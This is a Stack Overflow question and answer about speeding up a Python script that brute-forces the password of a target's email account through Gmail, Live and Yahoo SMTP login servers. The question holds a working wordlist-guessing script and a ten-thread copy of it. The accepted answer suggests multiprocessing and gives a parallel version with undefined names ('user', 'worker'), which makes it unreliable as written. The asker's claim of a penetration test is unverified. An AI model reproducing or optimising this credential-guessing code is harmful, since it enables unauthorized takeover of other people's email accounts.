1

I need to share this process by 16 processes. I am purchasing a parallella board for it which has 16 cores and runs at 90gflops.

I am not going to do anything illegal. Just to prove my point that the use of password with 7 digit intgers is way too insecure for a organization to use. Further on I solved it already, I just want a better method.

This is the basic working script for it:

import smtplib
service = raw_input("Enter smtp service : ")
if service == "live":
        smtpserver = smtplib.SMTP("smtp.live.com", 587)
elif service == "gmail":
        smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
elif service == "yahoo":
        smtpserver = smtplib.SMTP("smtp.mail.yahoo.com", 587)
enter = raw_input("Enter text file name : ")
smtpserver.ehlo()
smtpserver.starttls()

user = raw_input("Enter the target's email address: ")
passwfile = open(enter, 'r')

for password in passwfile.readlines():
        password = password.strip()
        try:
                smtpserver.login(user, password)

                print "[+] Cracked password----> %s" % password
                break;
        except smtplib.SMTPAuthenticationError:
                smtpserver.ehlo()
                smtpserver.starttls()
                pass

So far tried:

import smtplib
from threading import Thread
service = raw_input("Enter smtp service : ")
if service == "live":
        smtpserver = smtplib.SMTP("smtp.live.com", 587)
elif service == "gmail":
        smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
elif service == "yahoo":
        smtpserver = smtplib.SMTP("smtp.mail.yahoo.com", 587)

user = raw_input("Enter the target's email address: ")
def tenth():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('10.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def att():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('9.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def atc():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('8.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def atk():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('7.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def attack():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('6.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def tr():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('5.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def br():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('4.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def bru():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('3.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def brute():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('2.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
def arrgh():
    smtpserver.ehlo()
    smtpserver.starttls()
    passwfile = open('1.txt', 'r')

    for password in passwfile.readlines():
            password = password.strip()
            try:
                    smtpserver.login(user, password)

                    print "[+] Cracked password----> %s" % password
                    break;
            except smtplib.SMTPAuthenticationError:
                    smtpserver.ehlo()
                    smtpserver.starttls()
                    pass
thread1 = Thread(target = arrgh)
thread1.start()
thread2 = Thread(target = brute)
thread2.start()
thread3 = Thread(target = bru)
thread3.start()
thread4 = Thread(target = br)
thread4.start()
thread5 = Thread(target = tr)
thread5.start()
thread6 = Thread(target = att)
thread6.start()
thread7 = Thread(target = atc)
thread7.start()
thread8 = Thread(target = atk)
thread8.start()
thread9 = Thread(target = attack)
thread9.start()
thread10 = Thread(target = tenth)
thread10.start()

What this does is open multiple text files. I want it to be able to open one text file and run multiple processes from that itself.

P.Andrews
  • 73
  • 1
  • 14
  • is it a hack or a penetration test?? – Swastik Padhi Oct 25 '15 at 01:33
  • @CrakC penetration test. I am not going to do anything illegal. Just to prove my point that the use of password with 7 digit intgers is way too insecure for a organization to use. Further on I solved it already, I just want a better method – P.Andrews Oct 25 '15 at 01:42

1 Answers1

3

First of all, if you are not I/O but CPU bound, you should use multiprocessing instead of threading. The later does not use more than one core, it just has several threads of control.


Second, since you are using py2.7, you might want to give pypy a try. It runs repeating python code much faster than standard CPython.


Third, ideally you should be using a pool of workers that each get work items from a queue. This automatically gives you load balancing and other features. In your case, you should create a global pool and have the functions push work to it, i.e. use multiprocessing.Pool and one of its map methods.

You should probably have a setup like this:

import smtplib
import multiprocessing    

def test_passwords(passwords):
  smtpserver = smtplib.SMTP("totally.privat.server.com", 587)
  smtpserver.ehlo()
  smtpserver.starttls()
  for password in passwords:
    password = password.strip()
    try:
      smtpserver.login(user, password)
      print "[+] Cracked password----> %s" % password
      break
    except smtplib.SMTPAuthenticationError:
      smtpserver.ehlo()
      smtpserver.starttls()

workers = multiprocessing.Pool()

def try_my_own_passwords(workers):
   worker.map_async(test_passwords, open("my_pws.txt").readlines(), 100)
MisterMiyagi
  • 44,374
  • 10
  • 104
  • 119